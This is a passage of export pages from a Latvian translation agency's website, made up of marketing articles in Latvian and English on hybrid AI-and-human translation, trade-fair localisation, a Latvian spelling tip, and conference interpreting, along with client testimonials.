ievērojamas faktu vai pat loģikas kļūdas – vārdu, uzvārdu un vietvārdu pierakstā un atveidojumā, institūciju nosaukumos utt. HIBRĪDMODELIS – MI UN TULKOTĀJA STIPRO PUŠU APVIENOJUMS Pateicoties mākslīgā intelekta rūpīgi veidotajiem algoritmiem, kas krietni paaugstina mašīntulkošanas kvalitāti, ir iespējams samazināt izmaksas, izvēloties hibrīdmodeli, kurā iesaistīts ir kā MI (mašīntulkotājs), tā arī tulkotājs. Hibrīdtulkošanas pamatprincips ir vienkāršs – sākotnēji teksta tulkojumu veic mākslīgais intelekts, taču pēcāk jebkādas radušās stila vai faktu kļūdas novērš zinošs un prasmīgs tulkotājs. Šādā veidā ir iespējams samazināt izmaksas, turot tikpat augstu kvalitātes latiņu. Tāpat, ja ir nepieciešams, mašīntulkošanas pēcrediģēšana var tikt veikta dažādos veidos – pamata un pilnā līmenī, katru no tiem izmantojot atsevišķos gadījumos. Lietojot tulkoto tekstu tikai uzņēmuma iekšienē, var pietikt ar mašīntulkošanu, kuru ātri pārskata korektors, izķerot MI “halucinācijas” – šo bieži sauc par vieglo pēcrediģēšanu, mēs to iesakām tikai un vienīgi gadījumiem, kad teksts ir jāizmanto iekšējai saziņai. Publicēt tekstu plašākai sabiedrībai šo nedrīkst, jo valodas kvalitāte ir zema, jo paredzēta tikai iepazīstināt ar domu/ideju, kas ir avottekstā, ko darbinieki nesaprot. Ja tulkojums ir paredzēts saziņai ar klientiem, var noderēt pamata pēcrediģēšana, kur nepieciešamības gadījumā tiek “izķertas” faktu, gramatikas, nozīmes un stila kļūdas. Savukārt pilna pēcrediģēšana var tikt pielietota mārketinga un drukas materiālu tulkošanai un lokalizācijai, kur katrs vārds, komats un teikuma doma ir no svara. Lai arī mākslīgā intelekta tehnoloģijas tiek attīstītas straujiem soļiem, nepieciešamība pēc tulkotājiem visdrīzāk nesamazināsies. Var mainīties situācijas, kurā brīdī ir nepieciešama kvalitatīvāka teksta apstrāde, taču vairumā gadījumu mākslīgais intelekts kalpo kā noderīgs rīks, ko dažādās situācijās var pielietot nepieciešamajā kvalitātes līmenī. Procesu un resursu efektivizācijai ir noderīgi izveidot vadlīnijas, pēc kurām izvērtēt, kāds tulkošanas kvalitātes līmenis ir atbilstošāks, lai nodrošinātu nepieciešamo kvalitātes un izmaksu attiecību. KOPSAVILKUMS Noslēgumā, lai gan mākslīgais intelekts piedāvā daudzsološas iespējas tulkošanas nozarē, cilvēka tulkotāja loma joprojām ir neaizstājama, īpaši sarežģītu un kultūras ziņā jutīgu tekstu tulkošanā. Hibrīdmodelis, kurā apvienotas MI un cilvēka tulkotāja stiprās puses, nodrošina augstāko kvalitāti un efektivitāti. Sazinieties ar mums, lai uzzinātu vairāk, vai piesakieties tiešsaistes konsultācijai, lai izrunātu, kā varam palīdzēt tieši Jums un Jūsu uzņēmumam gūt maksimālu labumu no mūsu pakalpojumiem. Kopā nonāksim līdz tieši Jūsu uzņēmumam atbilstošākajam risinājumam! Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju. Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju. Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus. Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama. Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni. Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas. Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus. --- > Izstāžu materiālu tulkošana 110 valodās. Skrivanek piedāvā reklāmu, subtitru un mājaslapu tulkošanu, kā arī mutisko tulkošanu un valodu kursus - Published: 2024-09-03 - Modified: 2025-07-16 - URL: https://skrivanek.lv/ka-gut-maksimalu-labumu-no-dalibas-starptautiskas-izstades/ - Kategorijas: Raksti - Translation Priorities: Optional GŪSTIET MAKSIMĀLU LABUMU NO DALĪBAS STARPTAUTISKĀS IZSTĀDĒS! Kā Skrivanek Jums var palīdzēt? Rudens ir ne tikai jaunā mācību gada sākums, bet arī laiks, kad pēc vasaras atpūtas aktīvi atsākam savas darba gaitas, tostarp plānojam un piedalāmies starptautiskās izstādēs Eiropā un citviet pasaulē. Gatavojoties jebkurai izstādei, daudz pūļu un laika ir jāvelta, lai pareizi izveidotu pēc iespējas kvalitatīvākus un saistošākus materiālus par savu uzņēmumu un produktiem, jāizstrādā efektīva vizuālā, rakstveida un mutvārdu saziņas stratēģija, ko piemērosiet sarunās ar potenciālajiem klientiem un sadarbības partneriem. Kas būs Jūsu unikālais pievilināšanas āķis? Uzdevums nav no vieglajiem! Kad tas ir paveikts, tikpat svarīgs panākumu veicinošs faktors ir minēto materiālu lokalizācija jeb pielāgošana vietējam tirgum, ko labāk ir neatlikt uz pašu pēdējo brīdi! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt LOKALIZĀCIJAS NOZĪME IZSTĀDĒ Tāpat ir nozīmīga arī konkrētās valodas pārzināšana labā līmenī. Lūk, daži veidi, kā Skrivanek var palīdzēt Jūsu uzņēmumam sagatavoties starptautiskai izstādei veicot: izstāžu reklāmu un programmas, vizītkaršu, tiešsaistes un daudzu citu materiālu lokalizāciju vairāk nekā 110 valodās; izstāžu materiālu pirmsdrukas korektūru, lai cilvēki nenāk pie Jūsu stenda uzjautrināties par drukas kļūdām, bet patiešām aprunāties par Jūsu produktiem; konsultācijas par vietējās valsts kultūru, krāsu izvēli, zīmola asociācijām utt. , lai nodrošinātu, ka visi apmeklētāji jūtas gaidīti un cienīti; subtitru izstrādi un tulkošanu demonstrācijas videoklipiem; mutisko tulkošanu vairākās valodās klātienē. Tostarp, lai palīdzētu sagatavoties izstādēm kā starptautiskā, tā arī vietējā līmenī, Skrivanek piedāvā arī pārliecinošas sevis prezentācijas valodu kursus. Pakalpojums pieejams kā uzņēmumiem, tā arī privātpersonām. SKRIVANEK PAKALPOJUMU KLĀSTS IZSTĀŽU DALĪBNIEKIEM Drukas materiālu lokalizēšana un DTP Pēc izstādēs pavadītas dienas apmeklētājiem bieži sakrājas kaudze informatīvu materiālu par katra uzņēmēja piedāvāto pakalpojumu vai preci. Lai šie materiāli paliktu pēc iespējas labāk atmiņā un spētu uzrunāt auditoriju, tiem jābūt konkrētās valsts raksturīgajā valodā. Taču tulkots mārketinga materiāls nenozīmē, ka tas būtu jebkādā veidā sliktāks par oriģinālu. Tieši otrādi, veicot DTP jeb tekstu grafisko apstrādi, Skrivanek parūpējas ne tikai par materiālu iekļaušanos uzņēmuma vizuālajā identitātē, bet arī satura atbilstību vietējam tirgum – sākot no krāsām līdz reklāmas tekstiem. Sinhronais vai secīgais tulkojums pasākuma brīdī Lai spētu nonākt līdz brīdim, kad izstādes apmeklētāji izvēlas paņemt līdzi kādu no informatīvajiem materiāliem, ir vērtīgi saturu uz vietas pasniegt tiem saprotamā veidā. Šajā gadījumā – konkrētās valsts valodā, cienot un ievērojot tās kultūras īpatnības. Reizumis šo uzdevumu var paveikt kolēģi, kas pārzina konkrētu valodu, taču pēc iespējas labāku lokalizāciju ne tikai vienā, bet arī vairākās reģionam raksturīgajās valodās spēj nodrošināt arī Skrivanek mutvārdu tulki, kuri turpat uz vietas var Jūs asistēt un sniegt atbalstu līdz pat 110 valodās. Ticiet mums, sarunas laikā tulkot tālrunī ar Google, nav profesionāli, un tas atstāj nenopietnu iespaidu. Mājaslapas tulkošana Svarīga ir ne tikai vizītkarte vai mārketinga buklets, ko pasniedzat potenciālajam klientam izstādes laikā, bet arī uzņēmuma mājaslapa, kuru interesenti pēcāk, vai arī izstātes laikā, var izpētīt, apskatīt piedāvājumu, sazināties, kā arī uzdot precizējošus jautājumus. Ja vietne ir tikai latviešu valodā, tad turpināt pārdošanas procesu vai sadarbību pēc izstādes varētu būt sarežģīti. Pievienojot angļu valodu, izredzes jau var uzlaboties, taču, ja mājaslapas saturs ir pieejams arī tajā valodā, kādā runā Jūsu klients, tad tās ir krietni augstākas. Cilvēkiem joprojām e-vidē patīk iepirkties tajās vietnēs, kuras ir pieejams viņu dzimtajā valodā, jo tas vienkārši raisa psiholoģisku drošību, ka viss noritēs raiti un nebūs lieku pārsteigumu. Kad jau ir nodibinātas biznesa attiecības, tad bieži operatīvajā līmenī kā darba valoda tiek izmantota angļu valoda. Taču daudziem Rietumeiropas valstu uzņēmēju ir svarīgs pirmais kontakts tieši viņu valodā, kas var kļūt par iemeslu sadarbības veidošanai. 4 iemesli, kādēļ lokalizācija izstādē sniedz uzņēmumiem labumu Tiecoties pēc jauna preču vai pakalpojuma noieta starptautiskā vidē, ir svarīgi runāt klientu valodā. Kādā brīdī tā var būt arī angļu valoda, taču Eiropā visbiežāk tiek novērta spēja sazināties tieši partneru vai klientu dzimtajā valodā. Lūk, daži iemesli, kādēļ lokalizācija izstādē var uzņēmumiem sniegt maksimālu labumu. 1. Efektīva saziņa Valodas barjera – it īpaši divām personām sazinoties citā valodā, kas nav to dzimtā, – būtiski apgrūtina komunikāciju. Arī Jums kā uzņēmuma vadītājam vai pārstāvim satraukumā var aizmirsties kādi būtiski produktu priekšrocības raksturojoši vārdi. Skrivanek pieredze rāda, jo labāk ir izpildīts mājasdarbs, jo veiksmīgāka ir dalība izstādē. Ar iekalto no galvas “lifta runu” nebūs gana. Potenciālie scenāriji ir jāizspēlē svešvalodā laicīgi mājās un jālūdz Jūsu sniegumu novērtēt ekspertam no malas. Savukārt, esot “uz viena viļņa”, raitāk rit ne tikai saruna, bet arī iestrādes, lai pēcāk noslēgtu līgumu. Tāpat drukātajos un vizuālajos materiālos ir svarīga ne tikai gramatika, bet pat daudzas sīkas nianses – pēdiņu, semikolu un punktu lietojums dažādās situācijās. Piemēram, cenas pieraksts katrā valstī var būtiski atšķirties no Latvijā izmantotā formāta. Atceramies, cik jutīgi mēs uztveram drukas kļūdas latviešu valodā uz kāda no mārketinga materiāliem. Ko parasti Jūs pie sevis padomājat par kļūdainiem reklāmu plakātiem latviešu valodā? Tieši to pašu padomās arī par Jums Jūsu stenda apmeklētāji, ja Jūs neparūpēsities par savu materiālu korektūru. Tādi it kā sīkumi ļoti ātri var norādīt apmeklētājiem, ka sagatavotais materiāls nav līdz galam pielāgots vietējam tirgum un tā valodas īpatnībām, kas var pievērsties lēmumam neturpināt uzņēmuma un tā piedāvāto produktu izpēti. 2. Priekšrocības attiecībā pret konkurentiem Ja izstāžu zālē cits citam blakus ir daudzi vienas nozares konkurenti, taču no tiem tikai viens vai daži ir parūpējušies par kvalitatīvu satura pielāgojamību vietējam tirgum, tad tieši tas varētu gūt lielāku uzmanību no apmeklētāju puses. Kā jau minējām, lokalizācijā sīkumiem ir liela nozīme. To ievērošana un precīza izmantošana norāda uz uzņēmuma gatavību sadarboties, ievērojot vietējo kultūru un tās paražas. Rezultāti, izmantojot uzņēmuma raksturīgo ziņojumu vai saukli, nepielāgojot vietējam tirgum, atšķiras no tiem, ko var iegūt, ieguldot laiku un pūles lokalizācijā. Nereti šādi var rasties arī negaidīti humoristiskas epizodes, kā galveno saukli izmantojot uzņēmuma mītnes zemē raksturīgu izteicienu, kas ārzemēs var ne tikai mulsināt, bet arī nozīmēt kaut ko pilnīgi citu – nereti zīmolam neglaimojošu. 3. Labāka zīmola atpazīstamība Runājot un prezentējot sevi patērētāju valodā, uzņēmuma zīmols labāk iesakņojas izstādes apmeklētāju prātos. Tāpat lokalizēts saturs un saziņa klienta valodā sniedz iespaidu par atvērtību ne tikai konkrētajai kultūrai, bet arī jaunu biznesa attiecību veidošanai. Pat tik vienkārša lieta kā uzņēmuma nosaukums citā kultūrā var pilnībā mainīt attieksmi pret produktu – pat jau informatīvie materiāli ir perfekti lokalizēti. Bieži vien – it īpaši globāliem tirgus spēlētājiem – ir grūtības ienākt jaunā tirgū, jo nosaukums vietējā valodā nozīmē ko pavisam citu – nereti kādu palamu. Visbiežāk šis aspekts ir svarīgs privātpersonu segmentā. 4. Atbilstība likumdošanai Dažādās valstīs ir savi nosacījumi attiecībā uz lokalizāciju. Ir nozares, kurās reklāmas un mārketinga aktivitātes ir ne tikai jātulko, bet arī jāpielāgo vietējai kultūrai. It īpaši šis var attiekties uz tādām bieži strikti pārraudzītām nišām kā veselības aprūpe, skaistumkopšana, finanšu un juridiskie pakalpojumi. Pilna cikla izstāžu lokalizācija ir tikai viens no Skrivanek kompleksajiem piedāvājumiem. Tāpat varat ieskatīties arī Google Ads un SEO, notariāli apliecinātu un medicīnisko tekstu un klīnisko pētījumu tulkojumu nodrošināšanā TAS NEBŪT NAV VISS Sazinieties ar mums, lai uzzinātu vairāk, vai piesakieties tiešsaistes konsultācijai, lai izrunātu, kā varam palīdzēt tieši Jums un Jūsu uzņēmumam gūt maksimālu labumu no dalības starptautiskās izstādēs. Kopā nonāksim līdz tieši Jūsu uzņēmumam atbilstošākā lokalizācijas risinājuma! Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju. Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju. Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus. Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama. Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni. Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas. Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus. --- > Sportisti izcīnīja medaļas paralimpiskajās spēlēs vai paraolimpiskajās spēlēs? Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-08-15 - Modified: 2024-09-11 - URL: https://skrivanek.lv/paralimpisks-vai-paraolimpisks/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PARALIMPISKS VAI PARAOLIMPISKS 1 Mūsu sportisti izcīnīja medaļas paralimpiskajās spēlēs vai paraolimpiskajās spēlēs? Paraolimpiskā sporta attīstība Latvijā sākusies jau 20. gadsimta 80. gados. Pirmie paraolimpiskie sporta veidi Latvijā bija sēdvolejbols, loka šaušana un vieglatlētika. Paraolimpiskā sporta kustībai Latvijā aizvien ir būtiska loma – mēs tiešām varam lepoties ar Latvijas paraolimpiešu sasniegumiem! Latvijas Zinātņu akadēmijas Terminoloģijas komisija par vārda “paraolimpisks” pareizrakstību lēma jau 1996. gadā, rosinot lietot formu ar patskani “o”, gluži kā olimpiskās spēles. Turklāt, vēlāk šis lēmums tika pārskatīts, tomēr arī 2008. gadā Terminoloģijas komisija nolēma, ka šī forma ir precīza un tā nav jāmaina. Tāpēc sekosim līdzi mūsu paraolimpiskā sporta čempioniem! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Conference Interpreting – check out our blog post and find out what you need for a successful conference and quality interpreting. - Published: 2024-08-14 - Modified: 2025-07-01 - URL: https://skrivanek.lv/konferencu-tulkosana-prieksrocibas-termini-un-skaidrojumi/ - Kategorijas: Article, Raksti - Translation Priorities: Optional CONFERENCE INTERPRETING – ADVANTAGES, TERMS AND EXPLANATIONS Most of us have probably come across conference interpreting when attending an international event and listening to an orator's “relayed” speech in a language we understand. The most prominent example of conference interpretation is the provision of simultaneous interpretation in 24 languages by the European Union and Commission institutions. Why this type of translation is important and how it differs from written translation – we will see in this blog post. WHY CONFERENCE INTERPRETATION IS NECESSARY In our modern global society, where the level of English language proficiency is increasing, it might seem that there is no need to translate at all. But there are most reasons why it is still worth considering translation/interpreting for an event or conference. Here are some of the most obvious reasons why a conference may need to be translated/interpreted. Participants and visitors from different countries. It is valuable to listen to professionals from different countries and even cultures in order to facilitate the exchange of experience and knowledge. It is also possible to attract not only foreign experts to speak, but also to invite audiences from other countries, increasing the visibility of the conference in the global market. Breaking down the language barrier. Speaking in a non-native language can sometimes result in speakers not expressing themselves as precisely as they would like. With the help of an interpreter, there is no need to worry about this. Accurate transfer of information. Translation reduces the risk of using words or expressions that listeners might misunderstand. Not every proverb or joke means the same thing in every language. Improved ability to sustain attention. It is easier to listen to a narrative in the mother tongue – especially in a loud environment, as conferences tend to be – thus improving attendee engagement. Raised professional bar. As the event becomes more visible and of a higher standard, the expectations of visitors increase – including in the provision of translation/interpreting. Visitors rely on it. Conference Interpreting uses one of two types of interpreting – simultaneous or consecutive. Both of these types of interpreting have their own nuances and advantages. Let's take a closer look at how they differ. CONSECUTIVE INTERPRETING Let's start with Consecutive Interpreting, which is often chosen for small private or work events, such as business trips or wedding ceremonies or other similar occasions. Consecutive Interpreting – as the name suggests – starts after the spoken text is “finished”. Most often, both at meetings and smaller events, speakers say a few sentences, pause for a moment to allow the interpreter standing next to them to retell what they have just heard, but in another language. No special equipment is needed for this interpreting – a microphone is enough. THE ADVANTAGES OF CONSECUTIVE INTERPRETING Accuracy. The interpreter has some time to think about what he/she has just heard and to translate it into another language, for example by simplifying more complex terms, which is particularly useful to avoid misunderstandings. Low cost. In general, consecutive interpreting is cheaper because no additional technical equipment is needed – just a microphone to hand to the interpreter. It is also possible to run an event with one interpreter, as opposed to simultaneous interpreting, which would require at least two interpreters who would be able to replace each other every 10–30 minutes of intensive work. Flexibility. Consecutive Interpreting is suitable for meetings or smaller events where real-time interpreting is less important, for example shortly before a concert. For smaller events, interpreting can also be done by people in the field who are familiar with the subject matter and can present it reasonably well in their own language. SIMULTANEOUS INTERPRETING Simultaneous interpreting, which is provided in parallel with the participant's narration, is more technically demanding, but depending on the size and seriousness of the event, it can be much more useful for the organisers. Simultaneous interpreting is mostly chosen for conferences for several reasons. This way, it is possible to keep the narration uninterrupted, to provide translation for the audience who wants it, and to follow the presenter's body language, eye contact, emotions, narrative flow and images of the presentation in real time. Some may wonder why two interpreters are needed for each language pair when there is only one speaker. Two interpreters are necessary because simultaneous interpreting wears out the interpreter's concentration more quickly than consecutive interpreting would. Without stopping, the interpreter cannot interpret well. Interpreters also have to somehow find time to drink water. This can be compared to any sport, we all need a break to recover. Interpreters usually change every 20–30 minutes. THE ADVANTAGES OF SIMULTANEOUS INTERPRETING Speed and efficiency. There is no need to interrupt the speaker because the audience is listening to the interpreter in real time with only a few seconds delay. This way, all visitors can follow the speakers' emotions, body language, eye contact, speech flow and jokes. Increased perception. When inviting a high-level expert from abroad to a conference, it is possible that not everyone in the audience would be able to understand what is being said at the same level. It is also possible to ensure a smooth Q&A session, increasing the engagement of the audience. Option to choose. Each audience member has a different level of knowledge and language skills. As opposed to consecutive interpreting, simultaneous interpreting gives you the choice of listening to the speech in the original language or in translation. THE CHALLENGES OF PROVIDING CONFERENCE INTERPRETING The challenges that interpreters face when interpreting could be the subject of a whole separate blog post, as the process is quite complex. Let's take a look at some of them, which event organisers should also consider. High skills threshold Whichever type of interpreting is chosen, there is no doubt that the role of interpreter requires a person with a high level of skills, as well as relevant experience and a very comprehensive knowledge of practically any area of life. This is particularly important at conferences, where a misspoken or misheard word can significantly change the meaning of a speech and lead to misunderstandings. Knowledge of terminology, content In addition to the ability to perform verbal translation at short notice, interpreters need all the background information they can get so that the possible terms, facts, figures, book titles that might be used during a speech are known at a good level. This is particularly important in conferences with different themes, all of which interpreters may not be equally familiar with. Technical problems Any event rich in content may be plagued by technical problems which make it difficult not only for the participants but also for the interpreters to understand what is being said. To minimise this risk, it is valuable to have a plan of action of what will happen or who will act in case of a technical problem. The risk of technical problems can be greatly reduced by thoroughly testing all possible equipment before the start of the conference and adjusting it as necessary. High costs What if the simultaneous interpreting equipment seems too expensive? Sometimes, if the translation is less important, a cheaper solution, such as guiding equipment, can be used. The quality will be lower and may disturb some of the people in the room, but it is sometimes an option if the budget is tight. However, it is important to reiterate that quality will definitely suffer. There is often a question from our customers about the inclusion of breaks and lunch breaks in the price calculation. This is included because the interpreter/interpreters are booked for a specific number of days/hours, which includes breaks and lunch breaks. Cultural differences What is acceptable in one culture may cause confusion in another. Often, speakers also add a dose of humour to their speeches to keep the attention of the audience, to engage them in active questioning or to overcome anxiety. Given the differences between cultures and their histories, jokes can rarely be transferred from one language to another without some adjustments to ensure that not only the meaning of what is being said is understood, but also that the humour is retained. The same applies to similes, metaphors and other linguistic expressions that are commonplace in one language and almost taboo in another. For example, in the USA, it is not uncommon to talk about solving a problem by going on a crusade against it, which in many other countries – including Latvia – has a different connotation. 5 TIPS FROM SKRIVANEK FOR EFFECTIVE CONFERENCE INTERPRETING To ensure a successful conference interpreting, here are five of our tips for organisers when planning the conference. 1. PREPARE THOROUGHLY Provide the interpreters (or the translation agency responsible for the interpreters) with all the necessary materials – presentations, speeches, key and complex terminology, facts, figures, titles, names and surnames – well in advance to ensure that the translation does not get “stuck” and proceeds without major complications. For example, translating for the commercial sector is very different from law, construction, psychology or other fields in terms of needs and terminology. Sometimes interpreters have a poor view of what is happening on stage and find it impossible to convey all the facts accurately without additional material, especially names, places and so on are difficult to pronounce. Also, when working with interpreters, you often have to think about how they get to the event, whether accommodation is needed, and many other organisational issues. 2. CHECK THE EQUIPMENT Depending on the type of translation you choose, the equipment needed will vary. For consecutive interpreting, a microphone is sufficient, but simultaneous interpreting also requires translation booths, headphones for the interpreters as well as for the conference attendees and participants, and other technical equipment that should be checked before the opening of the event, and it should be ensured that the interpreters can see what is happening on stage, as it is often important to see what the speaker is doing on stage. 3. HIRE QUALIFIED INTERPRETERS AND A TRANSLATION AGENCY For consecutive interpreting at small events, the help of colleagues is often sufficient. However, for conferences, where the subject matter of each speech or presentation may vary, it is important to make arrangements with a translation agency or qualified interpreters to provide the service. Organisers often choose translation agencies to provide translation in several languages without having to think about technical solutions. 4. ENCOURAGE CLEAR COMMUNICATION In order to ensure that the translation is of the same quality as the speech on which it is based, it is advisable to “speak plain language” with all parties involved in the event, so that there is no confusion and the most important issues can be discussed early on. It is especially important to be clear with presenters, to take time during the speech, to think of a gesture that might be shown if the speaker is fidgeting with his/her words. 5. CONDUCT A POST-CONFERENCE SURVEY AND ANALYSIS It is advisable to survey participants and visitors to assess the quality of both the conference and the interpretation provided. This will enable you to make informed, data-driven conclusions and to choose the appropriate solutions for your next conference. SUMMARY In the modern global world, conference interpreting is an essential tool and even a tool to reduce language barriers, exchange the latest ideas, promote and sell products and services and build your public image as an expert. Both simultaneous and consecutive interpreting have their advantages and disadvantages. When choosing between these two types of interpretation, it is important to take into account the type of event, the number of participants and audience, and the complexity of the topic(s). As each of these parameters changes, the need for additional training on the part of the organisers and interpreters increases in order to ensure the best quality translation. Putting together all the above-mentioned variables and tips, one can come to a conclusion on the most cost-effective solution to be able to provide good quality conference translation. We at Skrivanek Baltic are happy to share our experience, advice and solutions – not only for the translation, but also for the necessary equipment, its placement in the room, timely handover of materials to the interpreters and other important details. Let us recommend the best solution for your event and budget. The blog post is partly based on the book “Conference Interpreting” (2016) by Professor Andrejs Veisbergs of University of Latvia. Ziņu izvēlne Read our previous blog postValsts ieņēmumu dienestsRead our new blog postValsts sociālās apdrošināšanas aģentūra --- > Konverentsitõlge – lugege meie blogist, mida on vaja selleks, et konverents õnnestuks ja tõlge oleks kvaliteetne. - Published: 2024-08-14 - Modified: 2024-08-14 - URL: 